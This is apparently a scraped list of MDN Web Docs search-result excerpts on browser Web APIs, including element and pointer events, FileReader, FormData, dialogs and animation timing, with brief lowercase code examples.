in webgl 2, other queries (such as occlusion queries and primitive queries) are possible using webglquery objects.
... ext.current_query_ext a webglquery object, which is the currently active query for the given target.
EffectTiming.delay - Web APIs
syntax var timingproperties = { delay: delayinmilliseconds }; timingproperties.delay = delayinmilliseconds; value a number specifying the delay, in milliseconds, from the start of the animation's play cycle to the beginning of its active interval (the time index at which actual animation begins).
... examples in the pool of tears example, each tear is passed a random delay via its timing object: // randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'delay' in that specification.
EffectTiming.duration - Web APIs
this is a forwards-compatiblity measure since in the future, "auto" will be expanded to take into account the duration of any child effects.
... examples in the pool of tears example, each tear is passed a random duration via its timing object: // randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)" }); }); specificat...
Element: DOMMouseScroll event - Web APIs
the dom dommousescroll event is fired asynchronously when mouse wheel or similar device is operated and the accumulated scroll amount is over 1 line or 1 page since last event.
... on gecko 17 (firefox 17) or later, you need to call preventdefault() of wheel events which must be fired for every native event.
Element.accessKey - Web APIs
WebAPIElementaccessKey
the element.accesskey property sets the keystroke which a user can press to jump to a given element.
...to work around this, browsers implement accesskey behavior if the keys are pressed with other "qualifying" keys (such as alt + accesskey).
Element: auxclick event - Web APIs
the former changes the color of the button background, while the latter changes the button foreground (text) color.
...mcolor(); }; button.onauxclick = function(e) { e.preventdefault(); button.style.color = randomcolor(); } button.oncontextmenu = function(e) { e.preventdefault(); } notice that in addition to capturing the auxclick event using onauxclick, the contextmenu event is also captured, and preventdefault() called on that event, in order to prevent the context menu from popping up after the color change is applied.
Element: cut event - Web APIs
WebAPIElementcut event
so an event handler which wants to emulate the default action for "cut" while modifying the clipboard must also manually remove the selection from the document.
... it's possible to construct and dispatch a synthetic cut event, but this will not affect the system clipboard or the document's contents.
Element: gesturestart event - Web APIs
the gesturestart event is fired when multiple fingers contact the touch surface, thus starting a new gesture.
... during the gesture, gesturechange events will be fired.
Element.getAttribute() - Web APIs
consequently, you should use element.hasattribute() to check for an attribute's existence prior to calling getattribute() if it is possible that the requested attribute does not exist on the specified element.
... retrieving nonce values for security reasons, csp nonces from non-script sources, such as css selectors, and .getattribute("nonce") calls are hidden.
Element.getAttributeNS() - Web APIs
syntax attrval = element.getattributens(namespace, name) parameters namespace the namespace in which to look for the specified attribute.
...for that reason, you should use hasattributens() to check for an attribute's existence prior to calling getattributens() if it is possible that the requested attribute does not exist on the specified element.
Element.id - Web APIs
WebAPIElementid
living standard no change from document object model (dom) level 2 html specification.
... obsolete no change from document object model (dom) level 1 specification.
Element.insertAdjacentText() - Web APIs
'afterbegin': just inside the element, before its first child.
... 'beforeend': just inside the element, after its last child.
Element: keydown event - Web APIs
unlike the keypress event, the keydown event is fired for all keys, regardless of whether they produce a character value.
... bubbles yes cancelable yes interface keyboardevent event handler property onkeydown the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
Element.localName - Web APIs
WebAPIElementlocalName
example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri ...
...in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms.
Element.openOrClosedShadowRoot - Web APIs
use element.attachshadow() to add a shadow root to an existing element.
...(see element.attachshadow() for further details).
Element: overflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child ...
...= document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.log( event ); }, false); wrapper.addeventlistener("underflow", function( event ) { console.log( event ); }, false); toggle.addeventlistener("change", function( event ) { if ( event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "10px"; child.style.height = "10px"; } }, false); </script> specifications not part of any specification.
Element.part - Web APIs
WebAPIElementpart
here the part attribute is used to find the shadow parts, and the part property is then used to change the part identifiers of each tab so the correct styling is applied to the active tab when tabs are clicked.
... let tabs = []; let children = this.shadowroot.children; for(let elem of children) { if(elem.getattribute('part')) { tabs.push(elem); } } tabs.foreach((tab) => { tab.addeventlistener('click', (e) => { tabs.foreach((tab) => { tab.part = 'tab'; }) e.target.part = 'tab active'; }) console.log(tab.part); }) specifications specification status comment shadow partsthe definition of 'element.part' in that specification.
Element.requestPointerLock() - Web APIs
the element.requestpointerlock() method lets you asynchronously ask for the pointer to be locked on the given element.
... to track the success or failure of the request, it is necessary to listen for the pointerlockchange and pointerlockerror events at the document level.
Element.runtimeStyle - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetruntimestyle non-standardchrome no support noedge no support nofirefox no support noie full support 6opera no support nosafari no support nowebview android no support nochrome android no support nofirefox android no support noopera android...
Element.scrollLeftMax - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollleftmax non-standardchrome no support noedge no support nofirefox full support 16ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android full support 16opera and...
Element.setAttributeNS() - Web APIs
setattributens adds a new attribute or changes the value of an attribute with the given namespace and name.
...namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattributens - - removeattribute (dom 1) removeattributens removeattributenode - setattributens is the only method for namespaced attributes which expects the fully qualified name, i.e.
Element.setPointerCapture() - Web APIs
this can be used to ensure that an element continues to receive pointer events even if the pointer device's contact moves off the element (such as by scrolling or panning).
... exceptions exception explanation invalidpointerid pointerid does not match any of the active pointers.
Element: wheel event - Web APIs
the default action of a wheel event is implementation-specific, and doesn't necessarily dispatch a scroll event.
...instead, detect value changes of scrollleft and scrolltop of the target in the scroll event.
ElementCSSInlineStyle.style - Web APIs
setting styles styles should not be set by assigning a string directly to the style property (as in elt.style = "color: blue;"), since it is considered read-only, as the style attribute returns a cssstyledeclaration object which is also read-only.
... examples // set multiple styles in a single statement elt.style.csstext = "color: blue; border: 1px solid black"; // or elt.setattribute("style", "color:red; border: 1px solid blue;"); // set specific style while leaving other inline style values untouched elt.style.color = "blue"; getting style information the style property is not useful for completely learning about the styles applied on the element, since it represents only the css declarations set in the element's inline style attribute, not those that come from style rules elsewhere, such as style rules in the <head> section, or external style sheets.
Encrypted Media Extensions API - Web APIs
the encrypted media extensions api provides interfaces for controlling the playback of content which is subject to a digital restrictions management scheme.
... mediakeysession represents a context for message exchange with a content decryption module (cdm).
Event.cancelable - Web APIs
WebAPIEventcancelable
event listeners that handle multiple kinds of events may want to check cancelable before invoking their preventdefault() methods.
... syntax bool = event.cancelable; value the result is a boolean, which is true if the event can be canceled.
Event.returnValue - Web APIs
WebAPIEventreturnValue
syntax event.returnvalue = bool; var bool = event.returnvalue; value a boolean value which is true if the event has not been canceled; otherwise, if the event has been canceled or the default has been prevented, the value is false.
... new projects should generally avoid using returnvalue, although they may if they choose to do so.
Event.stopImmediatePropagation() - Web APIs
if several listeners are attached to the same element for the same event type, they are called in the order in which they were added.
... if stopimmediatepropagation() is invoked during one such call, no remaining listeners will be called.
Event.target - Web APIs
WebAPIEventtarget
the target property of the event interface is a reference to the object onto which the event was dispatched.
... // make a list const ul = document.createelement('ul'); document.body.appendchild(ul); const li1 = document.createelement('li'); const li2 = document.createelement('li'); ul.appendchild(li1); ul.appendchild(li2); function hide(evt) { // e.target refers to the clicked <li> element // this is different than e.currenttarget, which would refer to the parent <ul> in this context evt.target.style.visibility = 'hidden'; } // attach the listener to the list // it will fire when each <li> is clicked ul.addeventlist...
EventListener - Web APIs
the eventlistener interface represents an object that can handle an event dispatched by an eventtarget object.
... living standard no change.
EventSource() - Web APIs
the eventsource() constructor returns a newly-created eventsource, which represents a remote resource.
... examples var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
ExtendableMessageEvent() - Web APIs
init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any data type.
... ports: an array containing the messageport objects connected to the channel sending the message.
ExtendableMessageEvent.data - Web APIs
examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.data); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.data' in that specification.
ExtendableMessageEvent.lastEventId - Web APIs
examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.lasteventid); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.lasteventid' in that specification.
ExtendableMessageEvent.origin - Web APIs
examples when the following code is used inside a service worker to respond to a push messages by sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent.
... var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.ports[0]; } specifications specification status comment service workersthe definition of 'extendablemessageevent.origin' in that specification.
ExtendableMessageEvent - Web APIs
the extendablemessageevent interface of the service worker api represents the event object of a message event fired on a service worker (when a message is received on the serviceworkerglobalscope from another context) — extends the lifetime of such events.
... extendablemessageevent.ports read only returns the array containing the messageport objects representing the ports of the associated message channel.
File.File() - Web APIs
WebAPIFileFile
syntax new file(bits, name[, options]); parameters bits an array of arraybuffer, arraybufferview, blob, usvstring objects, or a mix of any of such objects, that will be put inside the file.
... lastmodified: a number representing the number of milliseconds between the unix time epoch and when the file was last modified.
File.getAsBinary() - Web APIs
WebAPIFilegetAsBinary
there may also be large incompatibilities between implementations and the behavior may change in the future.
... files = fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = files[i]; // if file type could be detected if (file !== null) { if (accept.binary.indexof(file.type) > -1) { // file is a binary, which we accept var data = file.getasbinary(); } else if (accept.text.indexof(file.type) > -1) { // file is of type text, which we accept var data = file.getastext(); // modify data with string methods } } } specification not part of any specification.
File.lastModifiedDate - Web APIs
syntax var time = instanceoffile.lastmodifieddate value a date object indicating the date and time at which the file was last modified.
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
File.name - Web APIs
WebAPIFilename
syntax var name = file.name; value a string, containing the name of the file without path, such as "my resume.rtf".
... example <input type="file" multiple onchange="processselectedfiles(this)"> function processselectedfiles(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { alert("filename " + files[i].name); } } try the results out below: specifications specification status comment file apithe definition of 'name' in that specification.
File.type - Web APIs
WebAPIFiletype
syntax var name = file.type; value a string, containing the media type(mime) indicating the type of the file, for example "image/png" for png images example <input type="file" multiple onchange="showtype(this)"> function showtype(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { var name = files[i].name; var type = files[i].type; alert("filename: " + name + " , type: " + type); } } note: based on the current implementation, browsers won't actually read the bytestream of a file to determine its media type.
...developers are advised not to rely on this property as a sole validation scheme.
FileReader: abort event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onabort examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event...
...listener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } reader.abort(); } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: load event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onload examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5rem; bo...
... reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadend event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onloadend examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; ...
... reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: loadstart event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onloadstart examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height: 5r...
... reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader: progress event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onprogress examples live example html <div class="example"> <div class="file-select"> <label for="avatar">choose a profile picture:</label> <input type="file" id="avatar" name="avatar" accept="image/png, image/jpeg"> </div> <img src="" class="preview" height="200" alt="image preview..."> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css img.preview { margin: 1rem 0; } .event-log-contents { width: 18rem; height:...
... reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selectedfile) { addlisteners(reader); reader.readasdataurl(selectedfile); } } fileinput.addeventlistener('change', handleselected); result specifications specification status file api working draft ...
FileReader.readAsText() - Web APIs
when the read operation is complete, the readystate is changed to done, the loadend event is triggered, and the result property contains the contents of the file as a text string.
... syntax instanceoffilereader.readastext(blob[, encoding]); parameters blob the blob or file from which to read.
FileRequest.lockedFile - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... summary the lockedfile property represents the lockedfile object from which the request was started.
FileRequest - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... properties filerequest.lockedfile read only the lockedfile object from which the request was started.
FileSystem.name - Web APIs
WebAPIFileSystemname
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome full support 7edge full support ≤18firefox full support 50ie no support noopera full support 15safari full support 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera androi...
FileSystem.root - Web APIs
WebAPIFileSystemroot
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrootchrome full support 7edge full support ≤18firefox full support 50ie no support noopera full support 15safari full support 11.1webview android full support ≤37chrome android full support 18firefox android full support 50opera androi...
FontFace - Web APIs
WebAPIFontFace
fontface.stretch a cssomstring that retrieves or sets how the font stretches.
... it is equivalent to the font-stretch descriptor.
FontFaceSet.load() - Web APIs
WebAPIFontFaceSetload
"italic bold 16px roboto" text: limit the font faces to those whose unicode range contains at least one of the characters in text.
... this does not check for individual glyph coverage.
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
returns an array of formdataentryvalues whose key matches the value passed in the name parameter.
... example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that specification.
FormData.set() - Web APIs
WebAPIFormDataset
this can be a usvstring or blob (including subclasses such as file).
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment xmlhttprequestthe definition of 'set()' in that specification.
FormData - Web APIs
WebAPIFormData
the formdata interface provides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest.send() method.
... you can also pass it directly to the urlsearchparams constructor if you want to generate query parameters in the way a <form> would do if it were using simple get submission.
FormDataEvent - Web APIs
the formdataevent interface represents a formdata event — such an event is fired on an htmlformelement object after the entry list representing the form's data is constructed.
... examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post"...
Frame Timing API - Web APIs
a frame represents the amount of work a browser does in one event loop iteration such as processing dom events, resizing, scrolling, rendering, css animations, etc.
...each frame object's duration property returns the timestamp of two consecutive frames.
GainNode.gain - Web APIs
WebAPIGainNodegain
example the following example shows basic usage of an audiocontext to create a gainnode, which is then used to mute and unmute the audio when a mute button is clicked by changing the gain property value.
... the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your br...
GlobalEventHandlers.onabort - Web APIs
by which means and reasons (user, network/server)?
... at which stages would it fire / be caught?
GlobalEventHandlers.onauxclick - Web APIs
within the function, this will be the element upon which the event was triggered.
...the former changes the color of the button background, while the latter changes the button foreground (text) color.
GlobalEventHandlers.onblur - Web APIs
example this example uses onblur and onfocus to change the text within an <input> element.
... html <input type="text" value="click here"> javascript let input = document.queryselector('input'); input.onblur = inputblur; input.onfocus = inputfocus; function inputblur() { input.value = 'focus has been lost'; } function inputfocus() { input.value = 'focus is here'; } result try clicking in and out of the form field, and watch its contents change accordingly.
GlobalEventHandlers.onerror - Web APIs
error events are fired at various targets for different kinds of errors: when a javascript runtime error (including syntax errors and exceptions thrown within handlers) occurs, an error event using interface errorevent is fired at window and window.onerror() is invoked (as well as handlers attached by window.addeventlistener (not only capturing)).
... when a resource (such as an <img> or <script>) fails to load, an error event using interface event is fired at the element that initiated the load, and the onerror() handler on the element is invoked.
GlobalEventHandlers.onfocus - Web APIs
example this example uses onblur and onfocus to change the text within an <input> element.
... html <input type="text" value="click here"> javascript let input = document.queryselector('input'); input.onblur = inputblur; input.onfocus = inputfocus; function inputblur() { input.value = 'focus has been lost'; } function inputfocus() { input.value = 'focus is here'; } result try clicking in and out of the form field, and watch its contents change accordingly.
GlobalEventHandlers.oninvalid - Web APIs
the invalid event fires when a submittable element has been checked and doesn't satisfy its constraints.
... the validity of submittable elements is checked before submitting their owner form, or after the checkvalidity() method of the element or its owner form is called.
GlobalEventHandlers.onmousemove - Web APIs
;</a></p> <p><a href="#" data-tooltip="second link">&hellip; or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px; background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node); this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; }; this.show = function(event) { node.textcontent = event.target.dataset.tooltip; node.removeattribute('hidden'); }; this.hide = function() { node.setattribute('hidden', ''); }; })(); const links = document.queryselectorall('a'); l...
...inks.foreach(link => { link.onmouseover = tooltip.show; link.onmousemove = tooltip.follow; link.onmouseout = tooltip.hide; }); result draggable elements we also have an example available showing the use of the onmousemove event handler with draggable objects — view the example in action.
GlobalEventHandlers.onpointercancel - Web APIs
<html> <script> function cancelhandler(ev) { // process the pointercancel event } function init() { var el = document.getelementbyid('target1'); el.onpointercancel = cancelhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointercancel="cancelhandler(event)"> touch me ...
GlobalEventHandlers.onpointerenter - Web APIs
<html> <script> function enterhandler(ev) { // process the pointerenter event } function init() { let el = document.getelementbyid('target1'); el.onpointerenter = enterhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerenter="enterhandler(event)"> touch me ...
GlobalEventHandlers.onpointermove - Web APIs
<html> <script> function movehandler(ev) { // process the pointermove event } function init() { let el=document.getelementbyid('target1'); el.onpointermove = movehandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointermove="movehandler(event)"> touch me ...
GlobalEventHandlers.onpointerout - Web APIs
<html> <script> function outhandler(ev) { // process the pointerout event } function init() { let el=document.getelementbyid('target1'); el.onpointerout = outhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerout="outhandler(event)"> touch me ...
GlobalEventHandlers.onpointerover - Web APIs
<html> <script> function overhandler(ev) { // process the pointerover event } function init() { let el = document.getelementbyid('target1'); el.onpointerover = overhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerover="overhandler(event)"> touch me ...
GlobalEventHandlers.onpointerup - Web APIs
<html> <script> function uphandler(ev) { // process the pointerup event } function init() { let el = document.getelementbyid('target1'); el.onpointerup = uphandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerup="uphandler(event)"> touch me ...
HTMLCollection.item - Web APIs
note: because the contents of an htmlcollection are live, changes to the underlying dom can and will cause the position of individual nodes in the collection to change, so the index value will not necessarily remain constant for a given node.
...elements appear in an htmlcollection in the same order in which they appear in the document's source.
HTMLDialogElement.close() - Web APIs
irm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventl...
...istener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement.open - Web APIs
irm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventl...
...istener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
HTMLDialogElement.show() - Web APIs
irm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventl...
...istener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> specifications specification status comment html living standardthe definition of 'show()' in that specification.
HTMLDialogElement.showModal() - Web APIs
irm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel button closes the dialog box cancelbutton.addeventl...
...istener('click', function() { dialog.close('animalnotchosen'); opencheck(dialog); }); })(); </script> note: you can find this example on github as htmldialogelement-basic (see it live also).
accessKeyLabel - Web APIs
syntax label = element.accesskeylabel example javascript var node = document.getelementbyid('btn1'); if (node.accesskeylabel) { node.title += ' [' + node.accesskeylabel + ']'; } else { node.title += ' [' + node.accesskey + ']'; } node.onclick = function () { var p = document.createelement('p'); p.textcontent = 'clicked!'; node.parentnode.appendchild(p); }; html <button accesskey="h" title="caption" id="btn1">hover me</button> result specifications specification status comment html living standardthe definition of 'htmlelement.accesskeylabel' in that specification.
... living standard no change from initial definition.
HTMLElement: animationend event - Web APIs
if the animation aborts before reaching completion, such as if the element is removed from the dom or the animation is removed from the element, the animationend event is not fired.
...ed'); animated.addeventlistener('animationend', () => { console.log('animation ended'); }); the same, but using the onanimationend event handler property: const animated = document.queryselector('.animated'); animated.onanimationend = () => { console.log('animation ended'); }; live example html <div class="animation-example"> <div class="container"> <p class="animation">you chose a cold night to visit our planet.</p> </div> <button class="activate" type="button">activate animation</button> <div class="event-log"></div> </div> css .container { height: 3rem; } .event-log { width: 25rem; height: 2rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .animation.active { animation-duration: 2s; animation-name: slidein; animation-i...
HTMLElement.isContentEditable - Web APIs
living standard no change from latest snapshot, html 5.1 html 5.1the definition of 'htmlelement.contenteditable' in that specification.
... recommendation snapshot of html living standard, no change from html5 html5the definition of 'htmlelement.contenteditable' in that specification.
HTMLElement.lang - Web APIs
WebAPIHTMLElementlang
syntax var languageused = elementnodereference.lang; // get the value of lang elementnodereference.lang = newlanguage; // set new value for lang languageused is a string variable that gets the language in which the text of the current element is written.
... newlanguage is a string variable with its value setting the language in which the text of the current element is written.
HTMLElement.offsetTop - Web APIs
